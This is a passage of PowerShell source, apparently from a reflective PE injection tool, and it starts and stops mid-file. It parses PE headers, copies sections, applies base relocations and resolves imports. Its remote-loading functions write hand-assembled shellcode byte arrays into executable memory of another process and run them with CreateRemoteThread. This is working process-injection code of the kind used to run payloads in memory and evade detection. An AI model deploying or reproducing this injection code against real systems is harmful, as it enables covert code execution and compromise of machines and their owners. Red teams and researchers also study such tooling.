        $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)

        if ($PEInfo.PE64Bit -eq $true)
        {
            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
            $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
        }
        else
        {
            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
            $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
        }

        if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
        {
            $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
        }
        elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
        {
            $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
        }
        else
        {
            Throw "PE file is not an EXE or DLL"
        }

        return $PEInfo
    }

    Function Import-DllInRemoteProcess
    {
        Param(
        [Parameter(Position=0, Mandatory=$true)]
        [IntPtr]
        $RemoteProcHandle,

        [Parameter(Position=1, Mandatory=$true)]
        [IntPtr]
        $ImportDllPathPtr
        )

        $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])

        $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
        $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
        $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
        if ($RImportDllPathPtr -eq [IntPtr]::Zero)
        {
            Throw "Unable to allocate memory in the remote process"
        }

        [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
        $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)

        if ($Success -eq $false)
        {
            Throw "Unable to write DLL path to remote process memory"
        }
        if ($DllPathSize -ne $NumBytesWritten)
        {
            Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
        }

        $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
        $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes

        [IntPtr]$DllAddress = [IntPtr]::Zero
        #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
        #   Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
        if ($PEInfo.PE64Bit -eq $true)
        {
            #Allocate memory for the address returned by LoadLibraryA
            $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
            if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
            {
                Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
            }

            #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
            $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
            $LoadLibrarySC2 = @(0x48, 0xba)
            $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
            $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)

            $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
            $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
            $SCPSMemOriginal = $SCPSMem

            Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
            [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
            Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
            [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
            Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
            [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
            Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)

            $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
            if ($RSCAddr -eq [IntPtr]::Zero)
            {
                Throw "Unable to allocate memory in the remote process for shellcode"
            }

            $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
            if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
            {
                Throw "Unable to write shellcode to remote process memory."
            }

            $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
            $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
            if ($Result -ne 0)
            {
                Throw "Call to CreateRemoteThread to call GetProcAddress failed."
            }

            #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
            [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
            $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
            if ($Result -eq $false)
            {
                Throw "Call to ReadProcessMemory failed"
            }
            [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])

            $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
            $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
        }
        else
        {
            [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
            $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
            if ($Result -ne 0)
            {
                Throw "Call to CreateRemoteThread to call GetProcAddress failed."
            }

            [Int32]$ExitCode = 0
            $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
            if (($Result -eq 0) -or ($ExitCode -eq 0))
            {
                Throw "Call to GetExitCodeThread failed"
            }

            [IntPtr]$DllAddress = [IntPtr]$ExitCode
        }

        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null

        return $DllAddress
    }

    Function Get-RemoteProcAddress
    {
        Param(
        [Parameter(Position=0, Mandatory=$true)]
        [IntPtr]
        $RemoteProcHandle,

        [Parameter(Position=1, Mandatory=$true)]
        [IntPtr]
        $RemoteDllHandle,

        [Parameter(Position=2, Mandatory=$true)]
        [IntPtr]
        $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing)

        [Parameter(Position=3, Mandatory=$true)]
        [Bool]
        $LoadByOrdinal
        )

        $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])

        [IntPtr]$RFuncNamePtr = [IntPtr]::Zero   #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal
        #If not loading by ordinal, write the function name to the remote process memory
        if (-not $LoadByOrdinal)
        {
            $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)

            #Write FunctionName to memory (will be used in GetProcAddress)
            $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
            $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
            if ($RFuncNamePtr -eq [IntPtr]::Zero)
            {
                Throw "Unable to allocate memory in the remote process"
            }

            [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
            $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
            if ($Success -eq $false)
            {
                Throw "Unable to write DLL path to remote process memory"
            }
            if ($FunctionNameSize -ne $NumBytesWritten)
            {
                Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
            }
        }
        #If loading by ordinal, just set RFuncNamePtr to be the ordinal number
        else
        {
            $RFuncNamePtr = $FunctionNamePtr
        }

        #Get address of GetProcAddress
        $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
        $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes

        #Allocate memory for the address returned by GetProcAddress
        $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
        if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
        {
            Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
        }

        #Write Shellcode to the remote process which will call GetProcAddress
        #Shellcode: GetProcAddress.asm
        [Byte[]]$GetProcAddressSC = @()
        if ($PEInfo.PE64Bit -eq $true)
        {
            $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
            $GetProcAddressSC2 = @(0x48, 0xba)
            $GetProcAddressSC3 = @(0x48, 0xb8)
            $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
            $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
        }
        else
        {
            $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
            $GetProcAddressSC2 = @(0xb9)
            $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
            $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
            $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
        }
        $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
        $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
        $SCPSMemOriginal = $SCPSMem

        Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
        Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
        Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
        Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
        [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
        Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)

        $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
        if ($RSCAddr -eq [IntPtr]::Zero)
        {
            Throw "Unable to allocate memory in the remote process for shellcode"
        }
        [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
        $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
        if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
        {
            Throw "Unable to write shellcode to remote process memory."
        }

        $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
        $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
        if ($Result -ne 0)
        {
            Throw "Call to CreateRemoteThread to call GetProcAddress failed."
        }

        #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory
        [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
        $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
        if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
        {
            Throw "Call to ReadProcessMemory failed"
        }
        [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])

        #Cleanup remote process memory
        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null

        if (-not $LoadByOrdinal)
        {
            $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
        }

        return $ProcAddress
    }


    Function Copy-Sections
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [Byte[]]
        $PEBytes,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $PEInfo,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Functions,

        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )

        for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
        {
            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
            $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)

            #Address to copy the section to
            [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))

            #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
            #    in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
            #    SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
            #    so truncate SizeOfRawData to VirtualSize
            $SizeOfRawData = $SectionHeader.SizeOfRawData

            if ($SectionHeader.PointerToRawData -eq 0)
            {
                $SizeOfRawData = 0
            }

            if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
            {
                $SizeOfRawData = $SectionHeader.VirtualSize
            }

            if ($SizeOfRawData -gt 0)
            {
                Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
                [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
            }

            #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
            if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
            {
                $Difference = $SectionHeader.VirtualSize - $SizeOfRawData
                [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
                Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
                $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
            }
        }
    }


    Function Update-MemoryAddresses
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [System.Object]
        $PEInfo,

        [Parameter(Position = 1, Mandatory = $true)]
        [Int64]
        $OriginalImageBase,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Constants,

        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Types
        )

        [Int64]$BaseDifference = 0
        $AddDifference = $true #Track if the difference variable should be added or subtracted from variables
        [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)

        #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
        if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
                -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
        {
            return
        }


        elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
        {
            $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
            $AddDifference = $false
        }
        elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
        {
            $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
        }

        #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
        [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
        while($true)
        {
            #If SizeOfBlock == 0, we are done
            $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)

            if ($BaseRelocationTable.SizeOfBlock -eq 0)
            {
                break
            }

            [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
            $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2

            #Loop through each relocation
            for($i = 0; $i -lt $NumRelocations; $i++)
            {
                #Get info for this relocation
                $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
                [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])

                #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
                [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
                [UInt16]$RelocType = $RelocationInfo -band 0xF000
                for ($j = 0; $j -lt 12; $j++)
                {
                    $RelocType = [Math]::Floor($RelocType / 2)
                }

                #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.
                #This appears to be true for EXE's as well.
                #   Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
                if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
                        -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
                {
                    #Get the current memory address and update it based off the difference between PE expected base address and actual base address
                    [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
                    [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])

                    if ($AddDifference -eq $true)
                    {
                        [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
                    }
                    else
                    {
                        [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
                    }

                    [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
                }
                elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
                {
                    #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it
                    Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
                }
            }

            $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
        }
    }


    Function Import-DllImports
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [System.Object]
        $PEInfo,

        [Parameter(Position = 1, Mandatory = $true)]
        [System.Object]
        $Win32Functions,

        [Parameter(Position = 2, Mandatory = $true)]
        [System.Object]
        $Win32Types,

        [Parameter(Position = 3, Mandatory = $true)]
        [System.Object]
        $Win32Constants,

        [Parameter(Position = 4, Mandatory = $false)]
        [IntPtr]
        $RemoteProcHandle
        )

        $RemoteLoading = $false
        if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
        {
            $RemoteLoading = $true
        }

        if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
        {
            [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)

            while ($true)
            {
                $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)

                #If the structure is null, it signals that this is the end of the array
                if ($ImportDescriptor.Characteristics -eq 0 `
                        -and $ImportDescriptor.FirstThunk -eq 0 `
                        -and $ImportDescriptor.ForwarderChain -eq 0 `
                        -and $ImportDescriptor.Name -eq 0 `
                        -and $ImportDescriptor.TimeDateStamp -eq 0)
                {
                    Write-Verbose "Done importing DLL imports"
                    break
                }

                $ImportDllHandle = [IntPtr]::Zero
                $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
                $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)

                if ($RemoteLoading -eq $true)
                {
                    $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
                }
                else
                {
                    $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
                }

                if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
                {
                    throw "Error importing DLL, DLLName: $ImportDllPath"
                }

                #Get the first thunk, then loop through all of them
                [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
                [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
                [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])

                while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
                {
                    $LoadByOrdinal = $false
                    [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
                    #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
                    #   If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
                    #   and doing the comparison, just see if it is less than 0
                    [IntPtr]$NewThunkRef = [IntPtr]::Zero
                    if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
                    {
                        [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
                        $LoadByOrdinal = $true
                    }
                    elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
                    {
                        [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
                        $LoadByOrdinal = $true
                    }
                    else
                    {
                        [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
                        $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
                        $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
                        $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
                    }

                    if ($RemoteLoading -eq $true)
                    {
                        [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
                    }
                    else
                    {
                        [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
                    }

                    if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
                    {
                        if ($LoadByOrdinal)
                        {
                            Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
                        }
                        else
                        {
                            Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
                        }
                    }

                    [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)

                    $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
                    [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
                    [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])

                    #Cleanup
                    #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed
